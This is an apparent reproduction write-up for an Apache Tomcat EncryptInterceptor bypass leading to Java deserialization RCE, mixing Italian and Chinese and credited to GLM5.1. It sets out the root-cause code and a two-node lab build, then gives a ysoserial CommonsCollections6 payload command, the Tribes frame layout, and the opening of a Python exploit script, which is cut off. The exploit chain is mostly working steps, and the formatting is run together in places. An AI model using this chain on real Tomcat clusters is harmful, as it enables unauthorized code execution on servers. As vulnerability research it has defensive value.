
CVE-2026-34486 Apache Tomcat EncryptInterceptor bypass della vulnerabilità riproduzione (riproduzione completata utilizzando GLM5.1)
| Attributo | Dettagli |
|---|---|
| ID CVE | CVE-2026-34486 |
| Gravità | Importante / Alta (CVSS 3.1: 7.5) |
| Tipo di vulnerabilità | CWE-311 Mancata crittografia dei dati sensibili / CWE-807 Vincoli su input non attendibili |
| Versioni interessate | Apache Tomcat 9.0.116 / 10.1.53 / 11.0.20 |
| Versioni corrette | Apache Tomcat 9.0.117 / 10.1.54 / 11.0.21 |
| Causa principale | In EncryptInterceptor.messageReceived(), super.messageReceived(msg) è stato spostato all'esterno del blocco try-catch |
Durante la correzione di CVE-2026-29146 (Padding Oracle), gli sviluppatori hanno rifattorizzato il metodo EncryptInterceptor.messageReceived(), spostando super.messageReceived(msg) dall'interno del blocco try all'esterno:
Prima della correzione (sicuro):```java public void messageReceived(ChannelMessage msg) { try { byte[] data = msg.getMessage().getBytes(); data = encryptionManager.decrypt(data); XByteBuffer xbb = msg.getMessage(); xbb.clear(); xbb.append(data, 0, data.length); super.messageReceived(msg); // ← 在 try 内,解密成功才传递 } catch (GeneralSecurityException gse) { log.error(...); // 异常被捕获,消息被丢弃 } }
**Codice vulnerabile (pericoloso):**```java
public void messageReceived(ChannelMessage msg) {
try {
byte[] data = msg.getMessage().getBytes();
data = encryptionManager.decrypt(data);
XByteBuffer xbb = msg.getMessage();
xbb.clear();
xbb.append(data, 0, data.length);
} catch (GeneralSecurityException gse) {
log.error(...);
// 异常被捕获,但执行流继续!
}
super.messageReceived(msg); // ← 在 try 外,无论解密是否成功都会执行!
}
Verifica del bytecode (da EncryptInterceptor.class di Tomcat 9.0.116):```
Exception table:
from to target type
0 39 42 Class java/security/GeneralSecurityException
// 偏移 60: super.messageReceived(msg) —— 在 try 范围(0-39)之外 60: aload_0 61: aload_1 62: invokespecial #136 // Method ChannelInterceptorBase.messageReceived
---
## 2. Ambiente di riproduzione
| Componente | Versione/Configurazione |
|---|---|
| Sistema operativo | Ubuntu 22.04 (ambiente sandbox) |
| JDK | OpenJDK 20 (Zulu) |
| Tomcat | 9.0.116 (versione vulnerabile) |
| Libreria Gadget | Commons Collections 3.1 |
| Strumento di attacco | ysoserial v0.0.6 + PoC Python/Java personalizzato |
### Topologia dell'ambiente```
同一台机器上运行两个 Tomcat 实例:
- Node1: HTTP 18080, Tribes TCP 4000
- Node2: HTTP 28080, Tribes TCP 4001
两个节点通过组播(228.0.0.4:45564)发现彼此,通过 EncryptInterceptor 加密通信
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz
tar -xzf apache-tomcat-9.0.116.tar.gz cp -r apache-tomcat-9.0.116 tomcat-node1 cp -r apache-tomcat-9.0.116 tomcat-node2
### Passaggio 2: Installare la libreria Gadget```bash
# 下载 Commons Collections 3.1
wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar
# 放入 Tomcat lib 目录
cp commons-collections-3.1.jar tomcat-node1/lib/
cp commons-collections-3.1.jar tomcat-node2/lib/
Modifica tomcat-node1/conf/server.xml, aggiungendo all'interno di <Engine>:```xml
> 注意: `encryptionKey` 必须是十六进制字符串格式(如 `546869734973415365637265744B6579` = "ThisIsASecretKey" 的 ASCII 十六进制),不能是明文字符串。
### 步骤 4:启用 Session 复制
在 `webapps/ROOT/WEB-INF/web.xml` 中添加:```xml
<distributable/>
cd tomcat-node1 && bin/catalina.sh start
cd tomcat-node2 && bin/catalina.sh start
**Conferma dal log di avvio effettivo:**```
WARNING [main] EncryptInterceptor.createEncryptionManager
The EncryptInterceptor is using the algorithm [AES/CBC/PKCS5Padding].
It is recommended to switch to using AES/GCM/NoPadding.
INFO [main] ReceiverBase.bind
Receiver Server Socket bound to:[/172.24.0.7:4000]
INFO [Catalina-utility-1] SimpleTcpCluster.memberAdded
Replication member added:[MemberImpl[tcp://{172, 24, 0, 7}:4001,...]]
java --add-opens java.base/java.lang=ALL-UNNAMED
--add-opens java.base/java.util=ALL-UNNAMED
--add-opens java.base/java.lang.reflect=ALL-UNNAMED
-jar ysoserial.jar CommonsCollections6 "touch /tmp/CVE-2026-34486-PWNED"
> payload_touch.bin
python3 -c " with open('payload_touch.bin', 'rb') as f: print(f'Magic: {f.read(2).hex()}') # 应输出: aced "
### Passaggio 7: Costruzione e invio dei messaggi del protocollo Tribes
I messaggi Tribes richiedono uno specifico formato di incapsulamento dei frame XByteBuffer:```
[START_DATA "FLT2002" (7B)] [数据长度 (4B BE)] [ChannelData 载荷] [END_DATA "TLF003" (7B)]
Dove la struttura del payload ChannelData:``` [options (4B)] [timestamp (8B)] [uniqueIdLen (4B)] [uniqueId (16B)] [memberDataLen (4B)] [MemberImpl 数据] [messageLen (4B)] [消息体]
**Punto chiave**: il corpo del messaggio viene inserito direttamente in un payload Java serializzato non cifrato — questo è il cuore dello sfruttamento della vulnerabilità — EncryptInterceptor tenterà di decifrarlo e, in caso di fallimento, passerà comunque i byte originali alla catena successiva.
#### Metodo 1: Script PoC in Python (`exploit.py`)```python
#!/usr/bin/env python3
"""
CVE-2026-34486 - Apache Tomcat EncryptInterceptor Bypass PoC
漏洞原理:EncryptInterceptor.messageReceived() 中 super.messageReceived(msg) 被移到了
try-catch 块外面,导致解密失败后原始字节仍被传递给后续处理链,最终进入无过滤的
ObjectInputStream.readObject(),可触发 Java 反序列化 RCE。
用于授权的安全研究环境,严禁用于非法用途。
"""
import socket
import struct
import sys
import os
import time
# ==================== Tribes 协议常量 ====================
START_DATA = b"FLT2002" # XByteBuffer 帧起始标记 (7 bytes)
END_DATA = b"TLF003" # XByteBuffer 帧结束标记 (7 bytes)